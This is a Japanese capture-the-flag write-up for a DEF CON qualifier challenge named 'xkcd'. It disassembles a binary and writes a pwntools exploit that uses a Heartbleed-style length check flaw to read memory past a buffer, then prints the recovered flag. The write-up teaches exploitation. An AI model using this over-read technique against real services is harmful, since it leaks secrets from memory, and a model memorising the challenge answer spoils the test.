xkcd

Baby's First, 59 points

http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd

xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me:1354

Might want to read that comic as well... 1354

ダウンロードしたファイルについてfileコマンドでファイルタイプを確認します。Linuxの64bit実行ファイルです。
$ file xkcd 
xkcd: ELF 64-bit LSB  executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
実行してみます。何か入力するとMALFORMED REQUESTと表示されます。
$ ./xkcd 
aaaa
MALFORMED REQUEST
それでは、objdumpで逆アセンブルして動作を解析します。
$ objdump -s -D xkcd > aaa.txt
まず、以下の箇所でflag文字列を0x6b7540のアドレスに読み込んでいます。
  400ff8: bf 40 75 6b 00       mov    $0x6b7540,%edi
  400ffd: e8 8e 6d 00 00       callq  407d90 <_IO_fread>  #flagを0x6b7540に読み込む
次に入力された文字列を?で区切って、前半部分を「SERVER, ARE YOU STILL THERE」と比較しています。
  401027: be 04 7e 48 00       mov    $0x487e04,%esi    #?
  40102c: 48 89 c7             mov    %rax,%rdi
  40102f: b8 00 00 00 00       mov    $0x0,%eax
  401034: e8 67 86 01 00       callq  4196a0 <strtok>      #?で入力文字列を区切る
  401039: 48 98                 cltq   
  40103b: 48 89 45 d8           mov    %rax,-0x28(%rbp)
  40103f: 48 8b 45 d8           mov    -0x28(%rbp),%rax
  401043: be 06 7e 48 00       mov    $0x487e06,%esi    #SERVER, ARE YOU STILL THERE
  401048: 48 89 c7             mov    %rax,%rdi
  40104b: e8 80 f2 ff ff       callq  4002d0                             #__strcmp_sse2_unaligned
  401050: 85 c0                 test   %eax,%eax
  401052: 74 14                 je     401068 <main+0x10a>    #eax=0の場合(文字列一致)
さらに上記で区切った後半部分を"で区切って、「IF SO, REPLY」と比較しています。
  401068: be 34 7e 48 00       mov    $0x487e34,%esi    #"
  40106d: bf 00 00 00 00       mov    $0x0,%edi
  401072: b8 00 00 00 00       mov    $0x0,%eax
  401077: e8 24 86 01 00       callq  4196a0 <strtok>      #"で区切る
  40107c: 48 98                 cltq   
  40107e: 48 89 45 d8           mov    %rax,-0x28(%rbp)
  401082: 48 8b 45 d8           mov    -0x28(%rbp),%rax
  401086: be 36 7e 48 00       mov    $0x487e36,%esi    # IF SO, REPLY 
  40108b: 48 89 c7             mov    %rax,%rdi
  40108e: e8 3d f2 ff ff       callq  4002d0                             #__strcmp_sse2_unaligned
  401093: 85 c0                 test   %eax,%eax
  401095: 74 14                 je     4010ab <main+0x14d>    #eax=0の場合(文字列一致)
さらに上記で区切った残りの部分を"で区切って、flagの先頭から512バイト手前にコピーしています。
  4010ab: be 34 7e 48 00       mov    $0x487e34,%esi    #"
  4010b0: bf 00 00 00 00       mov    $0x0,%edi
  4010b5: b8 00 00 00 00       mov    $0x0,%eax
  4010ba: e8 e1 85 01 00       callq  4196a0 <strtok>      #"で区切る
  4010bf: 48 98                 cltq   
  4010c1: 48 89 45 d8           mov    %rax,-0x28(%rbp)
  4010c5: 48 8b 45 d8           mov    -0x28(%rbp),%rax
  4010c9: 48 89 c7             mov    %rax,%rdi
  4010cc: e8 af 61 01 00       callq  417280 <strlen>      #""で囲まれた文字列の長さ
  4010d1: 48 89 c2             mov    %rax,%rdx
  4010d4: 48 8b 45 d8           mov    -0x28(%rbp),%rax
  4010d8: 48 89 c6             mov    %rax,%rsi
  4010db: bf 40 73 6b 00       mov    $0x6b7340,%edi   #flag(0x6b7540)の0x200=512バイト手前
  4010e0: e8 fb eb 01 00       callq  41fce0 <memcpy>  #""で囲まれた文字列をコピー
さらに残りの部分を()で区切り、()の中を数値として読み取り、flagの先頭-512+読み取った数値の位置にnull文字を設定しています。
  4010e5: be 45 7e 48 00       mov    $0x487e45,%esi    #(
  4010ea: bf 00 00 00 00       mov    $0x0,%edi
  4010ef: b8 00 00 00 00       mov    $0x0,%eax
  4010f4: e8 a7 85 01 00       callq  4196a0 <strtok>              #(で区切る
  4010f9: 48 98                 cltq   
  4010fb: 48 89 45 d8           mov    %rax,-0x28(%rbp)
  4010ff: be 47 7e 48 00       mov    $0x487e47,%esi            #)
  401104: bf 00 00 00 00       mov    $0x0,%edi
  401109: b8 00 00 00 00       mov    $0x0,%eax
  40110e: e8 8d 85 01 00       callq  4196a0 <strtok>      #)で区切る
  401113: 48 98                 cltq   
  401115: 48 89 45 d8           mov    %rax,-0x28(%rbp)
  401119: 48 8d 55 d4           lea    -0x2c(%rbp),%rdx
  40111d: 48 8b 45 d8           mov    -0x28(%rbp),%rax
  401121: be 49 7e 48 00       mov    $0x487e49,%esi    #%d LETTERS
  401126: 48 89 c7             mov    %rax,%rdi
  401129: b8 00 00 00 00       mov    $0x0,%eax
  40112e: e8 dd 64 00 00       callq  407610 <__isoc99_sscanf> #()で囲まれた文字列を数値として入力…①
  401133: 8b 45 d4             mov    -0x2c(%rbp),%eax
  401136: 48 98                 cltq   
  401138: c6 80 40 73 6b 00 00 movb   $0x0,0x6b7340(%rax) #flagの先頭-512+①の位置にnull文字を入れる
最後に、以下の箇所でflagの先頭-512からの文字列の長さと、上記の①の値を比較しています。これは、①の数値をちょうどflagの終端に一致しているかをチェックしています。何度か試行錯誤すれば適切な値が分かります。
  401145: bf 40 73 6b 00       mov    $0x6b7340,%edi
  40114a: e8 31 61 01 00       callq  417280 <strlen>
  40114f: 48 39 c3             cmp    %rax,%rbx
最後、以下の箇所で出力していますので、0x6b7340の位置からflagまでつなげて、まとめて出力されるように文字列を入力すれば良いです。
  401168: bf 40 73 6b 00       mov    $0x6b7340,%edi
  40116d: e8 ee 70 00 00       callq  408260 <_IO_puts>
ということで、以上を踏まえてエクスプロイトコードを書きます。
#!/usr/bin/env python2
from pwn import *
import time

import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
p = process('./xkcd')
else:
p = remote('xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me', 1354)

p.sendline(
'SERVER, ARE YOU STILL THERE'
+ '?'
+ ' IF SO, REPLY '
+ '"'
+ 'X' * 512
+ '"'
+ 'YYYY'
+ '('
+ '541'
+ ')'
+ '_____'
)

time.sleep(0.1)

p.recvall()
実行すると、以下のとおりフラグが表示されました。
$ python aaa.py
[+] Opening connection to xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me on port 1354: Done
[DEBUG] Sent 0x23b bytes:
    'SERVER, ARE YOU STILL THERE? IF SO, REPLY "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"YYYY(541)_____\n'
[-] Recieving all data: Failed
[DEBUG] Received 0x21e bytes:
    'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXThe flag is: bl33ding h34rt5\n'
    '\n'
フラグは、
bl33ding h34rt5
です。